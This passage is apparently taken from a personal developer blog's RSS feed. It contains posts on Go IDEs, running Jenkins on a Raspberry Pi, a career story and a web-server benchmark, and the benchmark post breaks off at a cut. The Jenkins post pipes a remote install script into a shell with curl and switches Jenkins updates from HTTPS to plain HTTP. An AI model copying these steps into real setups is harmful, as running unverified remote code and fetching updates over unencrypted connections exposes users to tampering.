<p><a href="https://code.visualstudio.com/">VS code</a> is my main IDE as of late. It does not matter if I code Go or Node, I always prefer to go with VS code. I used to use Atom for it&rsquo;s extensibility and the amount of packages avaialble. But recently, I&rsquo;ve felt that the quality of packages and the editor itself is better on VS code. That might be due to the fact that it has the backing of Microsoft. Personal experience shows, that open source products backed by huge companies tend to do better over time. It&rsquo;s no surprised that VS code has exploded recently and the amount of extensions available now is pretty darn amazing. All you need to do is intall a Go extension and you&rsquo;re ready to&hellip; well&hellip; Go. While it&rsquo;s not as fast as sublime or other light weight editors I find it pretty snappy for small to medium sized projects. Microsoft&rsquo;s intellisense is pretty damn good. Getting delve also allows for debugging inside it, albeit delve itself seems a bit sluggish and unresponsive. That&rsquo;s probably a general rant of mine with go - the debuggers seem to be rather poor. Despite this, I really love VS code for the ability to support pretty much any language you can think of.</p>]]></description>
            <content:encoded><![CDATA[ <p>There are quite a few IDE choices for Go. I&rsquo;m not going to list them all, but here are my prefered ones with the reasoning behind it.</p>
<h2 id="the-free-option">The free option</h2>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/02/13/IDE-for-GO/vscode.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/02/13/IDE-for-GO/vscode_hu_99e5b31df19f5148.png 500w,
  /2018/02/13/IDE-for-GO/vscode_hu_ba148a54f0ff4c52.png 800w,
  /2018/02/13/IDE-for-GO/vscode_hu_f851b52505aad66.png 1200w,
  /2018/02/13/IDE-for-GO/vscode_hu_1de1b9383de7e8b4.png 1500w'
  src="https://dizzy.zone/2018/02/13/IDE-for-GO/vscode_hu_f851b52505aad66.png" 
  alt="VS Code logo.">
</a>
</div>
<p><a href="https://code.visualstudio.com/">VS code</a> is my main IDE as of late. It does not matter if I code Go or Node, I always prefer to go with VS code. I used to use Atom for it&rsquo;s extensibility and the amount of packages avaialble. But recently, I&rsquo;ve felt that the quality of packages and the editor itself is better on VS code. That might be due to the fact that it has the backing of Microsoft. Personal experience shows, that open source products backed by huge companies tend to do better over time. It&rsquo;s no surprised that VS code has exploded recently and the amount of extensions available now is pretty darn amazing. All you need to do is intall a Go extension and you&rsquo;re ready to&hellip; well&hellip; Go. While it&rsquo;s not as fast as sublime or other light weight editors I find it pretty snappy for small to medium sized projects. Microsoft&rsquo;s intellisense is pretty damn good. Getting delve also allows for debugging inside it, albeit delve itself seems a bit sluggish and unresponsive. That&rsquo;s probably a general rant of mine with go - the debuggers seem to be rather poor. Despite this, I really love VS code for the ability to support pretty much any language you can think of.</p>
<h2 id="the-expensive-option">The expensive option</h2>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/02/13/IDE-for-GO/goland.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/02/13/IDE-for-GO/goland_hu_7def80fbb8905f6e.png 500w,
  /2018/02/13/IDE-for-GO/goland_hu_fd0fd52d46642abd.png 800w,
  /2018/02/13/IDE-for-GO/goland_hu_595e450569025d02.png 1200w,
  /2018/02/13/IDE-for-GO/goland_hu_561788af9ff04f3d.png 1500w'
  src="https://dizzy.zone/2018/02/13/IDE-for-GO/goland_hu_595e450569025d02.png" 
  alt="Goland logo.">
</a>
</div>
<p><a href="https://www.jetbrains.com/go/">Goland</a> is an IDE made by Jetbrains. That means it&rsquo;s probably as good as any other IDE that Jetbrains have ever put out. It also means that it&rsquo;s a paid product(albeit you can get a free license if you&rsquo;re a student or have an open source project). Despite it&rsquo;s price(which is 89$ for an individual/year), it&rsquo;s definitely worth it. Jetbrains have once again provided a very good IDE. Excellent code completion, with tons of features that I never end up using. A solid choice for enterprise development. One thing to that does bother me - it takes a while to index the project once you open it up for the first time.</p>
<h2 id="the-one-i-wish-i-could-do">The one I wish I could do</h2>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/02/13/IDE-for-GO/vim-go.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/02/13/IDE-for-GO/vim-go_hu_ce85d549dd8b7d30.png 500w,
  /2018/02/13/IDE-for-GO/vim-go_hu_20b20cb433e670d2.png 800w,
  /2018/02/13/IDE-for-GO/vim-go_hu_5f1c128a9769a255.png 1200w,
  /2018/02/13/IDE-for-GO/vim-go_hu_b436471384995af1.png 1500w'
  src="https://dizzy.zone/2018/02/13/IDE-for-GO/vim-go_hu_5f1c128a9769a255.png" 
  alt="Vim-go logo.">
</a>
</div>
<p>The good old vim is the usual suspect when it comes to any language. Add the <a href="https://github.com/fatih/vim-go">Vim-go</a> plugin and you have a solid editor. Combined with the legendary vim productivity, it&rsquo;s the tool to go if you can get past vim&rsquo;s famous learning curve. I would really like to switch to Vim, but having no prior knowledge it scares me a bit. However, after reading <a href="https://pascalprecht.github.io/2014/03/18/why-i-use-vim/">this post</a> I&rsquo;m now more tempted to switch than ever.</p>
<h2 id="how-i-actually-use-them">How I actually use them</h2>
<p>In day to day life, I actually use both - Goland and VS Code. VS Code is my prefered option, it just feels way snappier and makes me happy to actually work on it. I still end up using Goland at work from time to time, when a session of heavy debugging is on the way. While the debugger I use is still Delve in either case, VS Code just feels lacking. Golang does a better job of providing me with the info I want. These sessions do not happen often though, so I stick with my VS Code most of the time.</p>
<blockquote>
<p>What about you? What IDE do you use for GO and why?</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>Jenkins on raspberry pi 3</title>
            <link>https://dizzy.zone/2018/02/09/Jenkins-on-raspberry-pi-3/</link>
            <pubDate>Fri, 09 Feb 2018 11:43:00 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/02/09/Jenkins-on-raspberry-pi-3/</guid>
            <description><![CDATA[ <p>So I&rsquo;ve had this raspberry pi 3 laying around in my closet for a year or a bit more now. While I thought I&rsquo;d use it for automating something such as monitoring our plants for changes in soil moisture that did not come to fruition. With the start of this blog and the increase in tooling around it, I really needed something to run any sort of CI platform. I tend to host everything under AWS so that everything is under one roof. Issue there is that it might become rather expensive if you start spinning many instances. And CI is something that you might not want to run on the same machine as your services. So I thoguht to myself maybe I can get my <a href="https://jenkins.io/">jenkins</a> on ec2-nano? That would probably set me back 5$ a month. Then a cheaper option came to mind - why not use the RPI3 for my Jenkins?</p>]]></description>
            <content:encoded><![CDATA[ <p>So I&rsquo;ve had this raspberry pi 3 laying around in my closet for a year or a bit more now. While I thought I&rsquo;d use it for automating something such as monitoring our plants for changes in soil moisture that did not come to fruition. With the start of this blog and the increase in tooling around it, I really needed something to run any sort of CI platform. I tend to host everything under AWS so that everything is under one roof. Issue there is that it might become rather expensive if you start spinning many instances. And CI is something that you might not want to run on the same machine as your services. So I thoguht to myself maybe I can get my <a href="https://jenkins.io/">jenkins</a> on ec2-nano? That would probably set me back 5$ a month. Then a cheaper option came to mind - why not use the RPI3 for my Jenkins?</p>
<h1 id="getting-jenkins-on-rpi3">Getting jenkins on rpi3</h1>
<p>The setup process was rather easy. Just ran this bash script on my raspbian terminal.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># install docker</span>
</span></span><span style="display:flex;"><span>curl -sSL https://get.docker.com | sh
</span></span><span style="display:flex;"><span><span style="color:#75715e"># install jenkins</span>
</span></span><span style="display:flex;"><span>wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add -
</span></span><span style="display:flex;"><span>sudo sh -c <span style="color:#e6db74">&#39;echo deb http://pkg.jenkins.io/debian-stable binary/ &gt; /etc/apt/sources.list.d/jenkins.list&#39;</span>
</span></span><span style="display:flex;"><span>sudo apt-get update
</span></span><span style="display:flex;"><span>sudo apt-get install jenkins</span></span></code></pre></div>
<p>Now what I needed to do is get the generated admin password for jenkins. Just run this:</p>
<pre tabindex="0"><code>sudo cat /var/lib/jenkins/secrets/initialAdminPassword
</code></pre><p>I then ran into an issue where jenkins could not connect to the internet. To fix it</p>
<pre tabindex="0"><code>sudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml`
# (I know I&#39;m a scrub for not using vim)
# change the https://updates.jenkins.io/update-center.json to http://updates.jenkins.io/update-center.json.
</code></pre><p>Once that is done, I could do everything I&rsquo;d normally do on jenkins. The intent for my jenkins instance has always been to build docker images and push them to AWS registry, where I could use ECS to run them on one of my isntances. Once I tried doing that, I noticed that there was an issue where jenkins could not reach docker. To fix it, run this on the raspberry <code>sudo usermod -a -G docker jenkins &amp;&amp; sudo service jenkins restart</code>. With this, everything works as expected.</p>
<h2 id="performance">Performance</h2>
<p>As expected, the raspberry is not a quick beast. Due to the meager cpu and the slow drive(32gb sd card) the raspberry is nowhere near a proper dedicated instance. Just to give you an example a build that runs 22 seconds on my Mac Pro with an i7, takes around 2.5 to 3 minutes to complete on the raspberry. Since I&rsquo;m in no rush the build times are acceptable. Especially since I don&rsquo;t build that often and the raspberry is powered 24/7. I&rsquo;m still rather impressed that it manages to do what it does with the limited resources it has. Here&rsquo;s a snap of what the top looks like while performing a go build:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/02/09/Jenkins-on-raspberry-pi-3/rasp-top.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/02/09/Jenkins-on-raspberry-pi-3/rasp-top_hu_d58e300758088723.png 500w,
  /2018/02/09/Jenkins-on-raspberry-pi-3/rasp-top_hu_e799ad4f714d3541.png 800w,
  /2018/02/09/Jenkins-on-raspberry-pi-3/rasp-top_hu_eae16b748fb5f13f.png 1200w,
  /2018/02/09/Jenkins-on-raspberry-pi-3/rasp-top_hu_f710b0ee6d7e5ad0.png 1500w'
  src="https://dizzy.zone/2018/02/09/Jenkins-on-raspberry-pi-3/rasp-top_hu_eae16b748fb5f13f.png" 
  alt="A snap of RPI3 top under load.">
</a>
</div>
<p>It seems to be able to squeeze every single bit out of the tiny machine.</p>
<h2 id="limitations">Limitations</h2>
<p>Not all is well though. Raspberry runs on ARM. This is a particular pain for the types of work I&rsquo;m using it for. If I build an image, I have to cross compile the binaries to AMD64. It&rsquo;s all good an well with GO but if I end up using a more complex Dockerfile all hell breaks loose. It&rsquo;s either exec errors when running commands while building the image or when running the image on AMD64. <a href="https://www.qemu.org/">Qemu</a> might be the answer here. I tried using it but to no avail. I ended up making the decision to rewrite everything to GO instead, since <a href="http://localhost:4000/2018/01/06/Why-I-like-go/">I like it so much</a>. If you&rsquo;ve got an idea how to make this work - let me know in the comments below.</p>
<p>The other limitation with this approach is that my jenkins is not reachable from the outside of my local home network. This means no hooks to trigger builds. Back to good old polling. It&rsquo;s possible to expose it to the internet but since my IP is dynamic, I feel it would be too much work for little benefit.</p>
<p>Either way - I&rsquo;m pretty damn happy about my new jenkins server. The question remains if the raspberry&rsquo;s electricity bill is going to be less than 5$ a month though&hellip;</p>
<p><strong>EDIT:</strong> I&rsquo;ve since moved away from both the raspberry and the Jenkins towards a beefier machine. <a href="https://dizzy.zone/2019/04/14/My-new-server-MSI-Cubi-3-Silent/">You can read about it here.</a></p>
<blockquote>
<p>What do you guys use your raspberries for?</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>How I started my professional career</title>
            <link>https://dizzy.zone/2018/01/27/How-I-started-my-professional-career/</link>
            <pubDate>Sat, 27 Jan 2018 13:57:41 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/01/27/How-I-started-my-professional-career/</guid>
            <description><![CDATA[ <p>I will occasionally come across a post like <a href="https://www.reddit.com/r/AskProgramming/comments/7oa1tb/recent_graduate/">this</a> on Reddit or other social platforms. This post is an attempt to encourage people to try and get their careers in IT started. This is how it all started for me&hellip;</p>
<h2 id="initial-apprehension-of-programming">Initial apprehension of programming</h2>
<p>After finishing high school, I ended up studying informatics at Vilnius University. The choice was not easy, I was drifting heavily towards economics and physics, as well as considering the more humanitarian part of with focus on business and business management. I basically ended up making a random choice - I ended up in informatics. While I was decent at maths and computers, I would by no means consider myself a competent developer on my uni days. It was really hard and terrifying. Lots of maths on top of maths with only a few lectures focusing on coding. I did like coding but the constant mathematics in day to day uni life was a real killer. By the end of first semester I was highly unmotivated by the lack of coding we were doing. I was a tad lazy, so I did not have any side projects to focus on. At this point in time I started thinking about quitting but peer pressure and my own reluctance to give up came through. I struggled to the sixth semester with little to no will left in studying. I was doing OK at this point. I needed to put little effort into studies themselves to just manage to not get kicked out. I thought I&rsquo;d finish the degree and definitely not touch anything related to programming. My main concern with programming was that it probably consists of lots and lots of maths that I definitely did not enjoy at that point. I found it boring therefore programming looked boring to me as well. I had no side projects and would describe my skill in programming little more than basic. I should note that by this point I was still living off my parents and had no job. Then one of my classmates who had been working as a developer for a few years offered an opportunity to try and get past an intense course in the company he was working with. I did not know if I was ready for it and certainly felt apprehension for not doing there well either. Nonetheless I gathered my courage and got to the interview. The interview did not go well especially the technical part. I probably answered less than 30% of the questions correctly. One thing I did do and am still proud of is never lied - when confronted with a question I had no clue about I stated that I had no knowledge in the area. Despite my worries, I got accepted.</p>]]></description>
            <content:encoded><![CDATA[ <p>I will occasionally come across a post like <a href="https://www.reddit.com/r/AskProgramming/comments/7oa1tb/recent_graduate/">this</a> on Reddit or other social platforms. This post is an attempt to encourage people to try and get their careers in IT started. This is how it all started for me&hellip;</p>
<h2 id="initial-apprehension-of-programming">Initial apprehension of programming</h2>
<p>After finishing high school, I ended up studying informatics at Vilnius University. The choice was not easy, I was drifting heavily towards economics and physics, as well as considering the more humanitarian part of with focus on business and business management. I basically ended up making a random choice - I ended up in informatics. While I was decent at maths and computers, I would by no means consider myself a competent developer on my uni days. It was really hard and terrifying. Lots of maths on top of maths with only a few lectures focusing on coding. I did like coding but the constant mathematics in day to day uni life was a real killer. By the end of first semester I was highly unmotivated by the lack of coding we were doing. I was a tad lazy, so I did not have any side projects to focus on. At this point in time I started thinking about quitting but peer pressure and my own reluctance to give up came through. I struggled to the sixth semester with little to no will left in studying. I was doing OK at this point. I needed to put little effort into studies themselves to just manage to not get kicked out. I thought I&rsquo;d finish the degree and definitely not touch anything related to programming. My main concern with programming was that it probably consists of lots and lots of maths that I definitely did not enjoy at that point. I found it boring therefore programming looked boring to me as well. I had no side projects and would describe my skill in programming little more than basic. I should note that by this point I was still living off my parents and had no job. Then one of my classmates who had been working as a developer for a few years offered an opportunity to try and get past an intense course in the company he was working with. I did not know if I was ready for it and certainly felt apprehension for not doing there well either. Nonetheless I gathered my courage and got to the interview. The interview did not go well especially the technical part. I probably answered less than 30% of the questions correctly. One thing I did do and am still proud of is never lied - when confronted with a question I had no clue about I stated that I had no knowledge in the area. Despite my worries, I got accepted.</p>
<h2 id="the-course-that-changed-my-life">The course that changed my life</h2>
<p>The course was aimed at people with zero to little code knowledge. It was an intense 4 week course. We&rsquo;d work 8 hours a day(on paper, at least - reality was more like 12), 5 days a week. There were a total of 10 students participating, split into two groups by technology. One group was focusing on JAVA, while the other - .NET. I ended up on the .NET team. The teams consisted of 4 prospect developers and a tester. Each group had dedicated mentors who had multiple years in their respective fields. Both teams were presented with a real world application to work with. Both teams had to work on implementing a website for a mobile fitness app that was already given to us. The app tracked users movement(workouts, such as running and cycling) with gps coordinates and put them to a database. Our goal was to make sense of the data and display maps, graphs and all the other social fitness shenanigans you can find at social fitness applications such as <a href="https://www.endomondo.com/">Endomondo</a> or <a href="https://www.strava.com/">Strava</a>. Each week we&rsquo;d have to present what we achieved in the sprint for the employees of the company. They&rsquo;d vote on which team did the best job and the winners would get a prize(a watermelon, for instance). The start was pretty rocky. I struggled with the basic concepts. It took me a few days to get going, but then I got the hang of basics and started enjoying the experience. The team was super hyped - everyone was willing to stay late to try and do more than the other team would accomplish. It is at this point that I actually realized coding could and IS fun. What hooked me is the sense of achievement - when you first see that graph you&rsquo;ve been working on, or finally figure out how to display the set of gps coordinates you got from a workout as a route. There&rsquo;s also the teamwork. When everyone is doing their best to achieve a common goal it brings the best in them. After the four weeks ended and the project was done I wanted more of the same. And then&hellip; I got hired.</p>
<h2 id="how-i-started-out">How I started out</h2>
<p>I seemed to have done enough to impress the people at the company, after the course they offered me a job at their company. I gladly accepted. I was a bit anxious though&hellip; Was the course engineered for fun, or was it what real IT work looks like? Soon, I found out it was both. I started as a web developer, so the first tasks I had to work with consisted of changing texts in the website, to changing an image or two. Then followed by small design changes, such as moving the logo a few pixels to the right or making the fonts smaller, etc. When my team was confident enough that I got the basics, I started working on backend as well. We were working on an e-shop so I had the pleasure of adding another product provider to the shop. At first I was absolutely baffled by how to approach the problem. But after an explanation from my colleagues I managed to do that. I made some small code blocks, integrated them into the larger solution and voilà - we now had more goods for sale than before. That was when I finally understood that coding is something that I can do for a living. I have never looked back and have been developing ever since.</p>
<h2 id="but-enough-about-me---what-about-you">But enough about me - what about you?</h2>
<p>The goal here is to try and get you, a recent graduate or a person who has been coding as a hobby for some time to get past their fear and uncertainty whether you are ready to code professionally. If you can do basics, you should be ready for a starter job in programming. What&rsquo;s the basics you ask? If you can make a simple program, like renaming all the pictures you have stored on your hard drive to something more meaningful than DSC_4242.jpg. It might even be a curiosity project, such as adding all integers that your computer can handle and see what happens. If you have the curiosity to be thinking about that - and have some idea of how to approach the problem, I&rsquo;d say you&rsquo;re ready. It might seem intimidating at first but You might never feel fully ready. You might discover the passion you did not think you had.</p>
<p>Coding empowers. Just do it.</p>
]]></content:encoded>
        </item>
        <item>
            <title>Kestrel vs Gin vs Iris vs Express vs Fasthttp on EC2 nano</title>
            <link>https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/</link>
            <pubDate>Tue, 23 Jan 2018 21:15:43 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/</guid>
            <description><![CDATA[ <blockquote>
<p>Since this post got quite a bit of traction, I decided to update it by rerunning all the benchmarks as well as adding GO&rsquo;s fasthttp and Node&rsquo;s express to the comparison.</p></blockquote>
<p>I came across <a href="https://ayende.com/blog/181505-C/handling-tens-of-thousands-of-requests-sec-on-t2-nano-with-kestrel">this blog post on ayende.com</a>. Here Oren Eini tries to see how far he could push a simple <a href="http://www.ipify.org">ipify</a> style of api on an EC2 by running a synthetic benchmark. He hosts the http server on a T2.nano instance and then uses <a href="https://github.com/wg/wrk">wrk</a> to benchmark it from a T2.small instance. After reading this, I thought to myself - surely .NET cannot be quicker than GO. I decided to try and make a similar effort and get a little bit of competition going between a .NET implementation with, hopefully, a representative version of Oren&rsquo;s .NET server made with GO. For GO - I went with 3 candidates <a href="https://github.com/gin-gonic/gin">gin</a>, <a href="https://github.com/valyala/fasthttp">fasthttp</a> and <a href="https://github.com/kataras/iris">iris</a>. I also benchmark Node&rsquo;s <a href="https://expressjs.com/">Express</a>. All the tests were performed on the same EC2 instance, with production/release configurations, so variance should be low. I also use the same parameters for wrk as Oren. This is as close as I could get to apples to apples type of comparison.</p>]]></description>
            <content:encoded><![CDATA[ <blockquote>
<p>Since this post got quite a bit of traction, I decided to update it by rerunning all the benchmarks as well as adding GO&rsquo;s fasthttp and Node&rsquo;s express to the comparison.</p></blockquote>
<p>I came across <a href="https://ayende.com/blog/181505-C/handling-tens-of-thousands-of-requests-sec-on-t2-nano-with-kestrel">this blog post on ayende.com</a>. Here Oren Eini tries to see how far he could push a simple <a href="http://www.ipify.org">ipify</a> style of api on an EC2 by running a synthetic benchmark. He hosts the http server on a T2.nano instance and then uses <a href="https://github.com/wg/wrk">wrk</a> to benchmark it from a T2.small instance. After reading this, I thought to myself - surely .NET cannot be quicker than GO. I decided to try and make a similar effort and get a little bit of competition going between a .NET implementation with, hopefully, a representative version of Oren&rsquo;s .NET server made with GO. For GO - I went with 3 candidates <a href="https://github.com/gin-gonic/gin">gin</a>, <a href="https://github.com/valyala/fasthttp">fasthttp</a> and <a href="https://github.com/kataras/iris">iris</a>. I also benchmark Node&rsquo;s <a href="https://expressjs.com/">Express</a>. All the tests were performed on the same EC2 instance, with production/release configurations, so variance should be low. I also use the same parameters for wrk as Oren. This is as close as I could get to apples to apples type of comparison.</p>
<h2 id="kestrel-setup">Kestrel setup</h2>
<p>For Kestrel I used the same <a href="https://gist.github.com/ayende/d98efe53a67b03b8497078e5f9f73577">code</a> that Oren did. I did manage to get to 35000 requests/sec.</p>
<p>The results were as follows:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-wrk.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-wrk_hu_2f749ab4bd2f26c7.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-wrk_hu_c651289afea23171.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-wrk_hu_65fcf19df9f5b058.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-wrk_hu_91dcadeedeb4a08b.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-wrk_hu_65fcf19df9f5b058.png" 
  alt="Kestrel results.">
</a>
</div></p>
<p>And here&rsquo;s a snap of TOP somewhere mid run:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-t.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-t_hu_cc251b24b8cba90c.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-t_hu_1288cd8cfe2bbaa3.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-t_hu_8c33122c274bea3d.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-t_hu_1732ab00fd2bddba.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/kestrel-t_hu_8c33122c274bea3d.png" 
  alt="Snap of Kestrel&#39;s top.">
</a>
</div></p>
<h2 id="iris-setup">Iris setup</h2>
<p>For Iris I went with the code that <a href="https://gist.github.com/vkuznecovas/8fc376989f20bf89d598231da517edfd">Gerasimos from the comments below suggested</a>.</p>
<p>Results:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-wrk.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-wrk_hu_a02654f346dbb127.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-wrk_hu_295b7118af05fa4b.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-wrk_hu_7d38032e68536cfa.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-wrk_hu_b2c5012e96974de2.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-wrk_hu_7d38032e68536cfa.png" 
  alt="Iris results.">
</a>
</div></p>
<p>Top:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-t.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-t_hu_bd7ed873e4f71a4b.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-t_hu_2cbe642b442b1b0a.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-t_hu_457ceb7c03f9d169.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-t_hu_8aedb78ec875ef4e.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/iris-t_hu_457ceb7c03f9d169.png" 
  alt="Snap of Iris&#39;s top.">
</a>
</div></p>
<h2 id="gin-setup">Gin setup</h2>
<p>For Gin, I used the built in <code>ClientIP()</code> which does a few more things than just looking at the <code>X-Forwarded-For</code> header. Here&rsquo;s the <a href="https://gist.github.com/vkuznecovas/f8d783dbf30c050725f4ea5e7851837e">code I ended up with</a>.</p>
<p>Results:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-wrk.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-wrk_hu_4ac64560c7f2cc0e.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-wrk_hu_89e2553630046158.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-wrk_hu_89d9ef48abe531ed.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-wrk_hu_db85714545bb1995.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-wrk_hu_89d9ef48abe531ed.png" 
  alt="Gin results.">
</a>
</div></p>
<p>Top:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-t.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-t_hu_686777f4d414323b.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-t_hu_53d350c88e2e37d4.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-t_hu_c0bb931b28212c0c.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-t_hu_2528869d22ee5744.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/gin-t_hu_c0bb931b28212c0c.png" 
  alt="Snap of Gins&#39;s top.">
</a>
</div></p>
<h1 id="fasthttp-setup">FastHttp setup</h1>
<p><a href="https://gist.github.com/vkuznecovas/a3dfb81802d30e97f5df7bceb225715a">This is the server I went with for fasthttp</a>.</p>
<p>Results:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-wrk.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-wrk_hu_97e8318d8501858e.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-wrk_hu_58744ef0bfeb1845.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-wrk_hu_156aef4834035166.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-wrk_hu_dc0739a0bf1bda6b.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-wrk_hu_156aef4834035166.png" 
  alt="Fasthttp results.">
</a>
